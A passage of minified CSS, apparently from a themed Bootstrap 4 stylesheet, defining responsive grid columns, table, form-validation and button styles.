100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-sm-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-sm-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-sm-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-sm-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-sm-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-sm-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-sm-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-sm-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-sm-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-sm-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-sm-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-sm-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-sm-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-sm-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.3333333333%}.offset-sm-2{margin-left:16.6666666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.3333333333%}.offset-sm-5{margin-left:41.6666666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.3333333333%}.offset-sm-8{margin-left:66.6666666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.3333333333%}.offset-sm-11{margin-left:91.6666666667%}}@media (min-width: 768px){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-md-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-md-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-md-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-md-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-md-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-md-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-md-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-md-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-md-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-md-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-md-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-md-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-md-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-md-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-md-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-md-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-md-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-md-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-md-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-md-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-md-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-md-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-md-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-md-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.3333333333%}.offset-md-2{margin-left:16.6666666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.3333333333%}.offset-md-5{margin-left:41.6666666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.3333333333%}.offset-md-8{margin-left:66.6666666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.3333333333%}.offset-md-11{margin-left:91.6666666667%}}@media (min-width: 992px){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-lg-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-lg-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-lg-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-lg-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-lg-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-lg-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-lg-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-lg-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-lg-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-lg-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-lg-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-lg-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-lg-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-lg-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-lg-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-lg-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-lg-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-lg-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-lg-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-lg-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-lg-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-lg-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-lg-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-lg-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.3333333333%}.offset-lg-2{margin-left:16.6666666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.3333333333%}.offset-lg-5{margin-left:41.6666666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.3333333333%}.offset-lg-8{margin-left:66.6666666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.3333333333%}.offset-lg-11{margin-left:91.6666666667%}}@media (min-width: 1200px){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-xl-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-xl-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-xl-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-xl-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-xl-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-xl-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-xl-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-xl-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-xl-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-xl-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-xl-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-xl-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-xl-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-xl-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-xl-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-xl-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-xl-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-xl-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-xl-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-xl-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-xl-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-xl-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-xl-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-xl-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-xl-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-xl-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.3333333333%}.offset-xl-2{margin-left:16.6666666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.3333333333%}.offset-xl-5{margin-left:41.6666666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.3333333333%}.offset-xl-8{margin-left:66.6666666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.3333333333%}.offset-xl-11{margin-left:91.6666666667%}}.table{width:100%;max-width:100%;margin-bottom:1rem;background-color:transparent}.table th,.table td{padding:0.75rem;vertical-align:top;border-top:1px solid #dee2e6}.table thead th{vertical-align:bottom;border-bottom:2px solid #dee2e6}.table tbody+tbody{border-top:2px solid #dee2e6}.table .table{background-color:#fff}.table-sm th,.table-sm td{padding:0.3rem}.table-bordered{border:1px solid #dee2e6}.table-bordered th,.table-bordered td{border:1px solid #dee2e6}.table-bordered thead th,.table-bordered thead td{border-bottom-width:2px}.table-striped tbody tr:nth-of-type(odd){background-color:rgba(0,0,0,0.05)}.table-hover tbody tr:hover{background-color:rgba(0,0,0,0.075)}.table-primary,.table-primary>th,.table-primary>td{background-color:#f9cfc1}.table-hover .table-primary:hover{background-color:#f7bdaa}.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#f7bdaa}.table-secondary,.table-secondary>th,.table-secondary>td{background-color:#e8e6e4}.table-hover .table-secondary:hover{background-color:#dcd9d6}.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>th{background-color:#dcd9d6}.table-success,.table-success>th,.table-success>td{background-color:#c7eacc}.table-hover .table-success:hover{background-color:#b4e3bb}.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#b4e3bb}.table-info,.table-info>th,.table-info>td{background-color:#bee5eb}.table-hover .table-info:hover{background-color:#abdde5}.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#abdde5}.table-warning,.table-warning>th,.table-warning>td{background-color:#fbebc9}.table-hover .table-warning:hover{background-color:#f9e2b1}.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#f9e2b1}.table-danger,.table-danger>th,.table-danger>td{background-color:#f6c7c4}.table-hover .table-danger:hover{background-color:#f3b2ae}.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#f3b2ae}.table-light,.table-light>th,.table-light>td{background-color:#f9fafb}.table-hover .table-light:hover{background-color:#eaedf1}.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#eaedf1}.table-dark,.table-dark>th,.table-dark>td{background-color:#d9c3cf}.table-hover .table-dark:hover{background-color:#cfb3c3}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#cfb3c3}.table-active,.table-active>th,.table-active>td{background-color:rgba(0,0,0,0.075)}.table-hover .table-active:hover{background-color:rgba(0,0,0,0.075)}.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:rgba(0,0,0,0.075)}.table .thead-dark th{color:#fff;background-color:#772953;border-color:#642246}.table .thead-light th{color:#495057;background-color:#e9ecef;border-color:#dee2e6}.table-dark{color:#fff;background-color:#772953}.table-dark th,.table-dark td,.table-dark thead th{border-color:#642246}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,0.05)}.table-dark.table-hover tbody tr:hover{background-color:rgba(255,255,255,0.075)}@media (max-width: 575.98px){.table-responsive-sm{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-sm>.table-bordered{border:0}}@media (max-width: 767.98px){.table-responsive-md{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-md>.table-bordered{border:0}}@media (max-width: 991.98px){.table-responsive-lg{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-lg>.table-bordered{border:0}}@media (max-width: 1199.98px){.table-responsive-xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table-bordered{border:0}.form-control{display:block;width:100%;padding:0.375rem 0.75rem;font-size:1rem;line-height:1.5;color:#495057;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;border-radius:0.25rem;-webkit-transition:border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out}.form-control::-ms-expand{background-color:transparent;border:0}.form-control:focus{color:#495057;background-color:#fff;border-color:#f4ad94;outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(233,84,32,0.25);box-shadow:0 0 0 0.2rem rgba(233,84,32,0.25)}.form-control::-webkit-input-placeholder{color:#868e96;opacity:1}.form-control:-ms-input-placeholder{color:#868e96;opacity:1}.form-control::-ms-input-placeholder{color:#868e96;opacity:1}.form-control::placeholder{color:#868e96;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#e9ecef;opacity:1}select.form-control:not([size]):not([multiple]){height:calc(2.25rem + 2px)}select.form-control:focus::-ms-value{color:#495057;background-color:#fff}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{padding-top:calc(0.375rem + 1px);padding-bottom:calc(0.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(0.5rem + 1px);padding-bottom:calc(0.5rem + 1px);font-size:1.25rem;line-height:1.5}.col-form-label-sm{padding-top:calc(0.25rem + 1px);padding-bottom:calc(0.25rem + 1px);font-size:0.875rem;line-height:1.5}.form-control-plaintext{display:block;width:100%;padding-top:0.375rem;padding-bottom:0.375rem;margin-bottom:0;line-height:1.5;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-sm,.input-group-sm>.form-control-plaintext.form-control,.input-group-sm>.input-group-prepend>.form-control-plaintext.input-group-text,.input-group-sm>.input-group-append>.form-control-plaintext.input-group-text,.input-group-sm>.input-group-prepend>.form-control-plaintext.btn,.input-group-sm>.input-group-append>.form-control-plaintext.btn,.form-control-plaintext.form-control-lg,.input-group-lg>.form-control-plaintext.form-control,.input-group-lg>.input-group-prepend>.form-control-plaintext.input-group-text,.input-group-lg>.input-group-append>.form-control-plaintext.input-group-text,.input-group-lg>.input-group-prepend>.form-control-plaintext.btn,.input-group-lg>.input-group-append>.form-control-plaintext.btn{padding-right:0;padding-left:0}.form-control-sm,.input-group-sm>.form-control,.input-group-sm>.input-group-prepend>.input-group-text,.input-group-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-append>.btn{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5;border-radius:0.2rem}select.form-control-sm:not([size]):not([multiple]),.input-group-sm>select.form-control:not([size]):not([multiple]),.input-group-sm>.input-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-sm>.input-group-append>select.input-group-text:not([size]):not([multiple]),.input-group-sm>.input-group-prepend>select.btn:not([size]):not([multiple]),.input-group-sm>.input-group-append>select.btn:not([size]):not([multiple]){height:calc(1.8125rem + 2px)}.form-control-lg,.input-group-lg>.form-control,.input-group-lg>.input-group-prepend>.input-group-text,.input-group-lg>.input-group-append>.input-group-text,.input-group-lg>.input-group-prepend>.btn,.input-group-lg>.input-group-append>.btn{padding:0.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:0.3rem}select.form-control-lg:not([size]):not([multiple]),.input-group-lg>select.form-control:not([size]):not([multiple]),.input-group-lg>.input-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-lg>.input-group-append>select.input-group-text:not([size]):not([multiple]),.input-group-lg>.input-group-prepend>select.btn:not([size]):not([multiple]),.input-group-lg>.input-group-append>select.btn:not([size]):not([multiple]){height:calc(2.875rem + 2px)}.form-group{margin-bottom:1rem}.form-text{display:block;margin-top:0.25rem}.form-row{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.form-row>.col,.form-row>[class*="col-"]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:0.3rem;margin-left:-1.25rem}.form-check-input:disabled ~ .form-check-label{color:#868e96}.form-check-label{margin-bottom:0}.form-check-inline{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding-left:0;margin-right:0.75rem}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:0.3125rem;margin-left:0}.valid-feedback{display:none;width:100%;margin-top:0.25rem;font-size:80%;color:#38B44A}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.5rem;margin-top:.1rem;font-size:.875rem;line-height:1;color:#fff;background-color:rgba(56,180,74,0.8);border-radius:.2rem}.was-validated .form-control:valid,.form-control.is-valid,.was-validated .custom-select:valid,.custom-select.is-valid{border-color:#38B44A}.was-validated .form-control:valid:focus,.form-control.is-valid:focus,.was-validated .custom-select:valid:focus,.custom-select.is-valid:focus{border-color:#38B44A;-webkit-box-shadow:0 0 0 0.2rem rgba(56,180,74,0.25);box-shadow:0 0 0 0.2rem rgba(56,180,74,0.25)}.was-validated .form-control:valid ~ .valid-feedback,.was-validated .form-control:valid ~ .valid-tooltip,.form-control.is-valid ~ .valid-feedback,.form-control.is-valid ~ .valid-tooltip,.was-validated .custom-select:valid ~ .valid-feedback,.was-validated .custom-select:valid ~ .valid-tooltip,.custom-select.is-valid ~ .valid-feedback,.custom-select.is-valid ~ .valid-tooltip{display:block}.was-validated .form-check-input:valid ~ .form-check-label,.form-check-input.is-valid ~ .form-check-label{color:#38B44A}.was-validated .form-check-input:valid ~ .valid-feedback,.was-validated .form-check-input:valid ~ .valid-tooltip,.form-check-input.is-valid ~ .valid-feedback,.form-check-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-control-input:valid ~ .custom-control-label,.custom-control-input.is-valid ~ .custom-control-label{color:#38B44A}.was-validated .custom-control-input:valid ~ .custom-control-label::before,.custom-control-input.is-valid ~ .custom-control-label::before{background-color:#8fdc9a}.was-validated .custom-control-input:valid ~ .valid-feedback,.was-validated .custom-control-input:valid ~ .valid-tooltip,.custom-control-input.is-valid ~ .valid-feedback,.custom-control-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-control-input:valid:checked ~ .custom-control-label::before,.custom-control-input.is-valid:checked ~ .custom-control-label::before{background-color:#55ca66}.was-validated .custom-control-input:valid:focus ~ .custom-control-label::before,.custom-control-input.is-valid:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(56,180,74,0.25);box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(56,180,74,0.25)}.was-validated .custom-file-input:valid ~ .custom-file-label,.custom-file-input.is-valid ~ .custom-file-label{border-color:#38B44A}.was-validated .custom-file-input:valid ~ .custom-file-label::before,.custom-file-input.is-valid ~ .custom-file-label::before{border-color:inherit}.was-validated .custom-file-input:valid ~ .valid-feedback,.was-validated .custom-file-input:valid ~ .valid-tooltip,.custom-file-input.is-valid ~ .valid-feedback,.custom-file-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-file-input:valid:focus ~ .custom-file-label,.custom-file-input.is-valid:focus ~ .custom-file-label{-webkit-box-shadow:0 0 0 0.2rem rgba(56,180,74,0.25);box-shadow:0 0 0 0.2rem rgba(56,180,74,0.25)}.invalid-feedback{display:none;width:100%;margin-top:0.25rem;font-size:80%;color:#DF382C}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.5rem;margin-top:.1rem;font-size:.875rem;line-height:1;color:#fff;background-color:rgba(223,56,44,0.8);border-radius:.2rem}.was-validated .form-control:invalid,.form-control.is-invalid,.was-validated .custom-select:invalid,.custom-select.is-invalid{border-color:#DF382C}.was-validated .form-control:invalid:focus,.form-control.is-invalid:focus,.was-validated .custom-select:invalid:focus,.custom-select.is-invalid:focus{border-color:#DF382C;-webkit-box-shadow:0 0 0 0.2rem rgba(223,56,44,0.25);box-shadow:0 0 0 0.2rem rgba(223,56,44,0.25)}.was-validated .form-control:invalid ~ .invalid-feedback,.was-validated .form-control:invalid ~ .invalid-tooltip,.form-control.is-invalid ~ .invalid-feedback,.form-control.is-invalid ~ .invalid-tooltip,.was-validated .custom-select:invalid ~ .invalid-feedback,.was-validated .custom-select:invalid ~ .invalid-tooltip,.custom-select.is-invalid ~ .invalid-feedback,.custom-select.is-invalid ~ .invalid-tooltip{display:block}.was-validated .form-check-input:invalid ~ .form-check-label,.form-check-input.is-invalid ~ .form-check-label{color:#DF382C}.was-validated .form-check-input:invalid ~ .invalid-feedback,.was-validated .form-check-input:invalid ~ .invalid-tooltip,.form-check-input.is-invalid ~ .invalid-feedback,.form-check-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-control-input:invalid ~ .custom-control-label,.custom-control-input.is-invalid ~ .custom-control-label{color:#DF382C}.was-validated .custom-control-input:invalid ~ .custom-control-label::before,.custom-control-input.is-invalid ~ .custom-control-label::before{background-color:#f0a09b}.was-validated .custom-control-input:invalid ~ .invalid-feedback,.was-validated .custom-control-input:invalid ~ .invalid-tooltip,.custom-control-input.is-invalid ~ .invalid-feedback,.custom-control-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-control-input:invalid:checked ~ .custom-control-label::before,.custom-control-input.is-invalid:checked ~ .custom-control-label::before{background-color:#e66258}.was-validated .custom-control-input:invalid:focus ~ .custom-control-label::before,.custom-control-input.is-invalid:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(223,56,44,0.25);box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(223,56,44,0.25)}.was-validated .custom-file-input:invalid ~ .custom-file-label,.custom-file-input.is-invalid ~ .custom-file-label{border-color:#DF382C}.was-validated .custom-file-input:invalid ~ .custom-file-label::before,.custom-file-input.is-invalid ~ .custom-file-label::before{border-color:inherit}.was-validated .custom-file-input:invalid ~ .invalid-feedback,.was-validated .custom-file-input:invalid ~ .invalid-tooltip,.custom-file-input.is-invalid ~ .invalid-feedback,.custom-file-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-file-input:invalid:focus ~ .custom-file-label,.custom-file-input.is-invalid:focus ~ .custom-file-label{-webkit-box-shadow:0 0 0 0.2rem rgba(223,56,44,0.25);box-shadow:0 0 0 0.2rem rgba(223,56,44,0.25)}.form-inline{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.form-inline .form-check{width:100%}@media (min-width: 576px){.form-inline label{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;margin-bottom:0}.form-inline .form-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin-bottom:0}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .input-group{width:auto}.form-inline .form-check{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;width:auto;padding-left:0}.form-inline .form-check-input{position:relative;margin-top:0;margin-right:0.25rem;margin-left:0}.form-inline .custom-control{-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{display:inline-block;font-weight:400;text-align:center;white-space:nowrap;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;border:1px solid transparent;padding:0.375rem 0.75rem;font-size:1rem;line-height:1.5;border-radius:0.25rem;-webkit-transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out}.btn:hover,.btn:focus{text-decoration:none}.btn:focus,.btn.focus{outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(233,84,32,0.25);box-shadow:0 0 0 0.2rem rgba(233,84,32,0.25)}.btn.disabled,.btn:disabled{opacity:0.65}.btn:not(:disabled):not(.disabled){cursor:pointer}.btn:not(:disabled):not(.disabled):active,.btn:not(:disabled):not(.disabled).active{background-image:none}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color:#E95420;border-color:#E95420}.btn-primary:hover{color:#fff;background-color:#ce4414;border-color:#c34113}.btn-primary:focus,.btn-primary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(233,84,32,0.5);box-shadow:0 0 0 0.2rem rgba(233,84,32,0.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#E95420;border-color:#E95420}.btn-primary:not(:disabled):not(.disabled):active,.btn-primary:not(:disabled):not(.disabled).active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#c34113;border-color:#b73d12}.btn-primary:not(:disabled):not(.disabled):active:focus,.btn-primary:not(:disabled):not(.disabled).active:focus,.show>.btn-primary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(233,84,32,0.5);box-shadow:0 0 0 